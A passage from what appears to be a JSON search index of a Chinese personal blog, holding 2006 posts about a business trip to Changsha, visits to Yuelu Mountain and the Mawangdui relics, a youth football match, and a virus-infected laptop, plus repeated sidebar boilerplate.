真是怀念物质极大不丰富的时候呀，那时候的人都很简单，哪还想着挑三拣四呀！开个玩笑。\n男人和女人思维和行动方式都不一样，产生分歧在所难免^_^。最近在看’男人来自火星，女人来自金星’，希望从中更学到些东西。\n","permalink":"https://tonybai.com/2006/11/27/only-one-style-of-shoes-for-ladies/","summary":"\u003cp\u003e这几天沈城降温，温度急转直下，颇有些深冬的寒意，往往此刻各大商家也是使出浑身解数，打着各种打折促销的招牌，招揽顾客。我们都是凡人，有时候还真的被商家的活动弄得晕头转向，从此商场跑到彼商场，忙得也不亦乐乎。\u003c/p\u003e","title":"只给女人做一种款式的鞋子"},{"content":"这两天星城长沙一改以往的热度，开始淅淅沥沥的下起雨来，伴随着雨而来的是南方特有的湿冷，这让来自北方习惯了冬天有取暖，屋子里干热的我真是有些不习惯，并且放弃了周末出去游玩的计划，留在宾馆里开着空调，无聊。\n还有一周，在外面独自出差快到1个月了，身体和精神都已经到达’极限’了，可是想回去又不太现实，工作还有一些，有些还是我们控制不了的。心里真是急呀，家里那边还有很多重要的私事要解决。\n外面还在下着雨，湖南还有很多景点没有去，1~2天能去的景点包括韶山，毛泽东和刘少奇故居；衡山以及最想去的张家界，不过又一想自己一个人去了也没什么意思，除了孤单还是寂寞。\n一切都不能那么如意，总有缺憾，唉！无聊中。加班吧，争取早日完成工作，早点回去呀。\n对了今晚好像有费德勒和纳达尔的上海大师杯半决赛，还好有些精彩比赛可以看。\n","permalink":"https://tonybai.com/2006/11/18/feel-the-southern-clamminess/","summary":"\u003cp\u003e这两天星城长沙一改以往的热度，开始淅淅沥沥的下起雨来，伴随着雨而来的是南方特有的湿冷，这让来自北方习惯了冬天有取暖，屋子里干热的我真是有些不习惯，并且放弃了周末出去游玩的计划，留在宾馆里开着空调，无聊。\u003c/p\u003e","title":"感受南方的湿冷"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/11/15/be-listed-on-fengshang-channel-on-blogbus/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"上'风尚'频道了"},{"content":"又是一个周末，独自一人在长沙要主动寻找去处，免得无聊。上周去了岳麓山，今天决定去湖南省博物馆。我的一个长沙本地的系统工程师同事很是推荐我去趟博物馆，去看看马王堆出土文物。省博里我住的酒店和我工作的地方都很近，每天去工作的地方都会路过。今天终于决定而且有空去逛逛了。\n自从我来到长沙一直没有下雨，天气一直很热，很难想象在11月中旬我居然还在一个温度在25度左右的地方生活，打出生这还是第一次^_^。今天是周末，上午自然是睡懒觉，下午出发。坐BUS，两站地就来到了省博门口。看网上有人说湖南省博是国内还不是排在前列的省级博物院，它收藏的文物价值很多可以和故宫博物院的媲美。记忆中自己好像还没正式到过什么博物馆，上次在北京也没想到博物馆去参观。在大学的时候去过哈尔滨731罪证陈列馆。\n湖南省博物馆正门\n一进入省博正门，浮现在眼前的就是湖南省博物馆新馆，也是现在省博的主展馆，马王堆文物也在里面。主馆很大很新，挺壮观。停车场车很多，想必来参观的人还不少。\n湖南省博物馆新馆\n看马王堆展的票价还不便宜，要50元，看着几个学生模样的拿学生证买了半价，而自己却只能买全票，心里真实怀念学生年代，多好呀^_^。入展馆正门左手边就是马王堆展的入口。\n马王堆展览入口\n工作人员告诉我，上一波讲解员刚进去，快走两步就能赶上。讲解员的讲解很详细，这里不能都说，就就我比较感兴趣的说吧。马王堆出名，是因为它的墓葬保存的特别完好，所以里面出土的文物都急剧价值。之所以保存的这么好，当然和下葬的时候的保护有关了，展览馆展出了包裹墓葬的各种土，至于每种土的作用我是外行。\n图中从左到右分别是：封土，夯土，木炭和白泥膏\n马王堆出土的文物包括方方面面，包括衣食住行，其中较有名的是那件总量仅仅49克的’素纱禅衣’。从一号展馆转到二号展馆，灯光一下子暗了很多。当时还觉得很奇怪。当我用相机用闪光灯给一件出土的衣服拍照后，一位工作人员马上走过来用很严厉的声音和我说：关掉闪光灯！\n我一下子明白了。当时还很是不好意思，因为我的确没有看到任何标志向游客说明不允许用闪光灯，也许这块湖南省博做的还不是很细致和到位。除了素纱禅衣之外，还有很多编织精致的纺织品，甚至很多织物颜色依然那么鲜艳，说明当时的编织技艺已经很是高超了，听解说员说像’素纱禅衣’这样的织物，这么轻，现在都很难作出来。\n马王堆出土之素纱禅衣\n马王堆为人所知最多的除了这件’素纱禅衣’之外，那就属辛追夫人的遗体了，因为她出土时保存的超级完好，也开创了考古界的一个新名词’马王堆尸’，以后世界上再出土类似的古尸都会被成为’马王堆尸’。现在这具古尸的状况早已今非昔比了，因为出土后首先被解剖过，当时是70年代，保护措施又不是十分先进，所以尸体目前肯定是腐化了很多，不能和刚出土时媲美了。尸体的内脏器官都已经被取出了，单独放在一些容器里。听解说员讲解在解剖完古尸后，科学家发现辛追夫人生前患有很多疾病，包括心脏病，腰椎间盘突出等等。下面是有关’辛追夫人’的一些图片，大家欣赏，不过在现场看到一具尸体还是令人’毛孔悚然’的^_^\n马王堆墓葬结构\n马王堆辛追夫人复原像\n马王堆之辛追夫人之保存完好的尸体\n很早以前的达官贵人的墓葬一般都有活人陪葬，但是到了汉代的时候，人们已经开始用一些木制或者陶制的人俑来代替真人，这也说明人类社会文明逐渐进步了。陪葬人俑也有等级之分，从俑的大小位置可以看的出来。\n马王堆墓葬之陪葬俑\n在展出文物中有一个帛文让我很感兴趣，那是一副描述天文现象的帛文，上面画了很多彗星，不下数十颗，上面对每颗彗星做了标注，由于帛文有缺损而且置很小，所以看不清，当时的一种感觉就是太佩服古人了，真不知道他们是如何画出这些东西的，这些比欧洲要早近千年。\n在新官旁边的旧馆里是纪念长征胜利70周年展，湖南是当年的革命之火的发起地之一，而革命领袖中很大一部分都来自湖南。展览主要以一些图片和表格来展示长征的艰苦和伟大。\n湖南省博物馆纪念长征胜利70周年展\n中央机关长征序列图\n遵义会议参加人员\n","permalink":"https://tonybai.com/2006/11/11/a-tour-of-hunan-museum/","summary":"\u003cp\u003e又是一个周末，独自一人在长沙要主动寻找去处，免得无聊。上周去了岳麓山，今天决定去湖南省博物馆。我的一个长沙本地的系统工程师同事很是推荐我去趟博物馆，去看看马王堆出土文物。省博里我住的酒店和我工作的地方都很近，每天去工作的地方都会路过。今天终于决定而且有空去逛逛了。\u003c/p\u003e","title":"亲历马王堆出土文物展"},{"content":"这两天的情况可以用:’工作繁忙，病毒侵扰’来形容，工作繁忙是因为在现场要配合多个网元的测试；病毒侵扰，可不是我得病了，是我的电脑被病毒感染了，杀了几天了，目前处于稳定阶段，不知道病毒还潜伏在什么地方。\n这两天每天早上一起床，打开电脑，登陆gtalk，MSN，QQ，因为不同网元接口人使用的IM工具都不同，还好我什么都有^_^。登陆后，马上各个IM工具开始不停的闪，哇，先挑优先级高的回，那些可以延后的就用一个’=\u0026lsquo;就行了。这还不是让我最心烦的，最让我头痛的是病毒，电脑病毒好厉害的呀，它好像感染了所有.exe文件似的，我用木马克星杀，木马克星不仅杀掉了病毒，把我工作中需要用的VPN客户端软件，远程控制软件全部都杀了，这样每杀一次病毒我都要重装这些软件。病毒反复发作，我也反复的安装，真是耽误事儿呀。更有甚者我的VPN客户端不能和木马克星一起执行，否则会崩溃，这样我只能关掉木马克星，但是稍有不慎执行了一个被感染的.exe文件，病毒马上卷土重来。没办法，另寻解决方案。后来下了一个著名的卡巴斯基软件，卡巴斯基的确很强，任何一个风险操作都会提醒你，感觉这个卡巴斯基适合专业一点的人士使用，否则会被那纷繁复杂的提示信息弄蒙了。\n卡巴斯基也有卡巴斯基的问题，开着卡巴斯基，我的secureCRT有时就连不上我们的服务器，没办法只能重新启动，碰运气，说不定哪次就好用了，一旦好用，我就不敢关机了，否则鬼知道下次重启后secureCRT好用否^_^\n痛苦继续着:(\n","permalink":"https://tonybai.com/2006/11/10/busy-work-and-virus-attack/","summary":"\u003cp\u003e这两天的情况可以用:’工作繁忙，病毒侵扰’来形容，工作繁忙是因为在现场要配合多个网元的测试；病毒侵扰，可不是我得病了，是我的电脑被病毒感染了，杀了几天了，目前处于稳定阶段，不知道病毒还潜伏在什么地方。\u003c/p\u003e","title":"工作繁忙，病毒侵扰"},{"content":"本来不想说中国足球了，实在没什么值得说的，除了’骂’还是’骂’。这不独自一人在外，没什么可看的，恰逢直播亚青赛8分之一决赛中国vs.约旦。赛前解说员刘建宏还说：中国教练组认为约旦还不如阿联酋。可实际上半场结束呢，中国0：1落后，这还不是最令人郁闷的，最郁闷的是中国那帮年轻人的表现，三个字’软，慢，烂’。\n现在是中场休息，我是边上网边看球，因为球赛的精彩程度实在让我打不起精神，全部集中精神看球太浪费时间了。瞄了几眼屏幕，发现一个奇怪现象，这么’强’的中国队居然球都出不了自己的禁区，各位好像都没吃饱还是没睡醒简直说不清楚，难道是中国足协看到中国球员待遇太好了，降低了球员的待遇，导致球员吃不饱或者睡不好。待遇再差也该能吃饱呀。太累了，这可不是理由，约旦队也打了三场，大家都是公平的。为什么约旦球员越打越活跃呢。\n对比去年的荷兰世青赛的上届国青，这届真是叫人大跌眼镜，刚才又看了韩国和日本的比赛，对手分别是澳大利亚和沙特，哪个不比约旦强呀，而且韩国那场比赛的场地就是现在国青比赛的这块场地，国青抱怨比赛场地差也不是理由。\n说点严重的：场上的国青队员太tmd的娘娘腔，又软又慢，真tmd不像爷们，一点斗志也没有，这点真是tmd可怕，可怕呀。难道他们不知道这是淘汰赛么，难道他们不想进入明年的世青赛么？呵呵，还是不进的好。现在仅仅是在亚洲丢脸，否则把中国足球的’软慢烂’让世界球迷都知道了，那可损失大了。\n下半场开始了。先骂到这儿，发泄出来了，舒服!!!\n","permalink":"https://tonybai.com/2006/11/06/national-youth-team-become-worse/","summary":"\u003cp\u003e本来不想说中国足球了，实在没什么值得说的，除了’骂’还是’骂’。这不独自一人在外，没什么可看的，恰逢直播亚青赛8分之一决赛中国vs.约旦。赛前解说员刘建宏还说：中国教练组认为约旦还不如阿联酋。可实际上半场结束呢，中国0：1落后，这还不是最令人郁闷的，最郁闷的是中国那帮年轻人的表现，三个字’软，慢，烂’。\u003c/p\u003e","title":"国青正在上演'软慢烂'"},{"content":"长沙周围的景点离得最近的，也是最知名的就算是岳麓山风景区了，上次和我一起来的同事就说有时间可以去岳麓山逛逛，上次他去的时候爬山爬得满身大汗。今天长沙天气很棒，唯一遗憾就是太热，听天气预报今天星城最高温度居然达到28度，怪不得爬山时也是大汗淋漓^_^。\n中午就问了宾馆前台如何坐bus去岳麓山，不过一口湘音的前台说了一堆，我听了个一知半解。’谢谢’后回房间上网自己查，找到了一条稳妥点的路线，就是先到长沙火车站，然后那里有N趟直达岳麓山的Bus。我在营盘路做9路到火车站，恰发现’旅1线’bus上写着目的地’岳麓山南’，遂跳到bus上，票价一元，人又不多，就是车破点。车沿着五一大道一路飞奔，通过橘子洲大桥，到达湘江西岸，在过桥的时候看着宽宽的湘江还是很壮观的，江上一排排运货的货船慢腾腾的动着，就像电视里的一样。在岳麓山脚下居然汇聚着湖南三所著名大学-湖南大学、中南大学和湖南师范大学。一直弄不清楚，这里的湖南师范大学前身是不是当年毛主席的母校呢？\n下车走上一会儿就是岳麓山脚下的’东方红广场’，广场上聚集着很多人，学生居多，而广场上最吸引人的是’毛主席雕像’和主席的’沁园春.长沙’浮雕。最近在纪念长征，广场上也挂了很多红色的条幅，歌颂长征精神。\n毛主席像\n沁园春.长沙\n岳麓山南门和湖南大学南门是几乎在一起，后来知道湖南大学就是从岳麓书院发展起来的。今天游人很多，周末吗，好像这里的学生拿着学生证就可随意出入似的，所以山里学生很多。岳麓山绿化很好，以致于正门(我走的是南门)掩盖在树荫中，在远处很难发现。正门不大，不过到达了目的地还是很兴奋。^_^\n岳麓山正门\n岳麓山风景名胜区\n正门票价为15元，还算合理。一进去就是一个岔路口，我选择了右边，先到岳麓书院，进书院需要另买门票，门票居然要30，我拍了个书院的门脸就走了。这种人文历史景观为什么票价这么贵呀？\n岳麓书院\n离书院不远就是著名的爱晚亭。爱晚亭，始建于清乾隆五十七年（公元1792年），由岳麓书院院长罗典创建，原名红叶亭，与安徽的醉翁亭、杭州湖心亭、北京陶然亭，并称中国四大名亭。还记得唐代诗人杜牧的“停车坐爱枫林晚，霜叶红于二月花”吗，该亭子就是因此改名的。亭子上人特别多，想拍一个完整的亭子真是难上加难呀。亭子的确挺漂亮，特别是那个红彤彤的匾，上面是主席的题名。\n爱晚亭\n顺着爱晚亭像上走，就是石阶小路了，石阶很陡。开始我还是很有力气的，到后来已经是气喘吁吁了，满头大汗了。^_^\n上山石阶\n沿着山从底到上路旁有还很多墓，都是一些革命先烈的墓，很多，我较熟悉的有陈天华，黄兴，蔡锷等，先烈的墓碑我是不拍的，我觉得是对他们的不敬。只沿着一条路是走不完所有的景观的，这是不可避免的遗憾，毕竟体力和时间都有限。我尽量多走一些。\n费了九牛二虎之力，终于到了山顶，山顶有一个雷达站还有一个电视塔，毫无疑问电视塔尖才是整个岳麓山的’顶峰’。山顶有一片草石地，这片草地的风格我很喜欢，很多人也都在上面休息。\n电视塔\n草地石\n到达山顶，人们不免要远眺，从岳麓山山顶可以很容易看到远处的长沙市景，远处的湘江及橘子洲尽收眼底。就是因为污染的缘故，灰蒙蒙的，看不太清楚。\n岳麓山顶远眺橘子洲\n都说上山容易下山难，在山顶逛够了后，就开始下山吧，下山为了稳妥考虑，我选择了盘山大道，顺便再看看没去过的景观。沿路路过’岳麓宫’，’穿石坡湖’，’半山亭’，’往来亭’等，太多了，这里贴几张自己觉得还好的。\n岳麓宫\n飞来石\n穿石坡湖\n带着疲惫的身体，出了岳麓山正门，一路无话，回到酒店，肚中饥饿，遂叫了晚饭，今天我的晚饭是，大家看看吧^_^\n岳麓山行后晚饭\n看出来了吧，是红烧鱼!!\n","permalink":"https://tonybai.com/2006/11/04/a-tour-of-yuelu-mountain/","summary":"\u003cp\u003e长沙周围的景点离得最近的，也是最知名的就算是岳麓山风景区了，上次和我一起来的同事就说有时间可以去岳麓山逛逛，上次他去的时候爬山爬得满身大汗。今天长沙天气很棒，唯一遗憾就是太热，听天气预报今天星城最高温度居然达到28度，怪不得爬山时也是大汗淋漓^_^。\u003c/p\u003e","title":"逛逛岳麓山"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 